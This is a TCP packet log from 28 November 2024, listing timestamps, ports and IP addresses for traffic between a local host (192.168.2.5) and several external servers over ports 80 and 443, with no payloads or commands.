Nov 28, 2024 06:48:33.683583021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.684309959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.684323072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.684334040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.684345007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.684370995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.684382915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.684398890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.684406996 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.684428930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.684464931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.685137033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.685149908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.685180902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.685200930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.685707092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.685719967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.685755968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.685760975 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.685769081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.685775995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.685782909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.685794115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.685796976 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.685816050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.685827017 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.686639071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.686651945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.686683893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.686696053 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.686697960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.686738968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.686754942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.687450886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.687462091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.687486887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.687499046 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.687500954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.687526941 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.687586069 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.688304901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.688318968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.688345909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.688358068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.688364029 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.688396931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.694096088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.694109917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.694124937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.694144964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.694180012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.697509050 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:33.700301886 CET	49823	443	192.168.2.5	4.249.200.148
Nov 28, 2024 06:48:33.700335026 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:33.700434923 CET	49823	443	192.168.2.5	4.249.200.148
Nov 28, 2024 06:48:33.700803995 CET	49823	443	192.168.2.5	4.249.200.148
Nov 28, 2024 06:48:33.700818062 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:33.701101065 CET	49811	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:33.701147079 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:33.701525927 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:33.701817036 CET	49811	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:33.701900959 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:33.702212095 CET	49811	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:33.747338057 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:33.761248112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.885052919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.195400953 CET	443	49815	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.195977926 CET	49815	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.196017981 CET	443	49815	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.197066069 CET	49815	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.197072983 CET	443	49815	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.200166941 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.200189114 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.200206041 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.200265884 CET	49811	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:34.200279951 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.200383902 CET	49811	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:34.211174011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.211278915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.211355925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.211549997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.211661100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.211710930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.212359905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.212421894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.212524891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.212641001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.213244915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.213309050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.213311911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.213355064 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.213993073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.214092970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.214709997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.214854002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.214910030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.214941025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.214994907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.215610027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.215663910 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.215738058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.215806007 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.216451883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.216506958 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.216512918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.216609001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.217262030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.217312098 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.217330933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.217377901 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.218044043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.218091965 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.218157053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.218198061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.218878031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.218935966 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.218988895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.219029903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.219459057 CET	443	49814	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.219723940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.219778061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.219832897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.219882011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.220418930 CET	49814	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.220437050 CET	443	49814	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.220506907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.220552921 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.221225977 CET	49814	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.221230984 CET	443	49814	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.243810892 CET	443	49813	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.244246006 CET	49813	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.244272947 CET	443	49813	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.244806051 CET	49813	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.244812965 CET	443	49813	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.335530043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.335551977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.335592031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.335616112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.335845947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.335968018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.336019039 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.336644888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.336694002 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.336781979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.336896896 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.337265968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.337316990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.337361097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.337457895 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.338087082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.338157892 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.338201046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.338247061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.338932991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.339006901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.339073896 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.339747906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.339920044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.339968920 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.340533018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.340576887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.340667963 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.340714931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.341363907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.341418028 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.341516972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.341687918 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.342139006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.342194080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.342252970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.342338085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.342987061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.343041897 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.343065977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.343120098 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.343838930 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.343900919 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.344073057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.344178915 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.344564915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.344611883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.344621897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.344719887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.345416069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.345668077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.345727921 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.346214056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.346314907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.346373081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.346999884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.347080946 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.347112894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.347299099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.347839117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.347970009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.348031998 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.348671913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.348726034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.348824978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.348865986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.349668026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.349719048 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.349756002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.349812031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.350287914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.350414038 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.350439072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.350610018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.351126909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.351207018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.351241112 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.351310968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.351953983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.352003098 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.352068901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.352153063 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.352758884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.352838993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.352895021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.353538036 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.353616953 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.353678942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.354337931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.354417086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.389251947 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.389276981 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.389348984 CET	49811	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:34.389381886 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.389424086 CET	49811	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:34.433753967 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.433770895 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.433842897 CET	49811	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:34.433865070 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.434103966 CET	49811	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:34.460045099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.460067987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.460107088 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.460124016 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.460294008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.460349083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.460391045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.460513115 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.461148024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.461209059 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.461253881 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.461343050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.461920023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.462038040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.462049961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.462084055 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.462744951 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.462819099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.462841988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.462912083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.463556051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.463610888 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.463673115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.463716030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.464379072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.464452028 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.464488983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.464586973 CET	443	49817	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.464642048 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.465215921 CET	49817	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.465218067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.465233088 CET	443	49817	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.465262890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.465316057 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.465735912 CET	49817	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.465740919 CET	443	49817	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.466012955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.466116905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.466202021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.466840029 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.466898918 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.467026949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.467076063 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.467678070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.467742920 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.467782021 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.467822075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.468449116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.468544006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.468662024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.469266891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.469319105 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.469338894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.469383955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.470060110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.470109940 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.470170975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.470240116 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.470987082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.471069098 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.471088886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.471187115 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.471678972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.471729994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.471806049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.471854925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.472544909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.472636938 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.472656012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.472712040 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.473361969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.473413944 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.473423004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.473577023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.474160910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.474210024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.474215984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.474322081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.474999905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.475049019 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.475089073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.475132942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.475775957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.475828886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.475914001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.475956917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.476641893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.476691961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.476722002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.476778984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.477396965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.477488995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.477502108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.477555037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.478207111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.478260994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.478300095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.478415966 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.479017019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.479130030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.479187965 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.479863882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.479917049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.479939938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.479981899 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.480665922 CET	80	49750	185.215.113.206	192.168.2.5
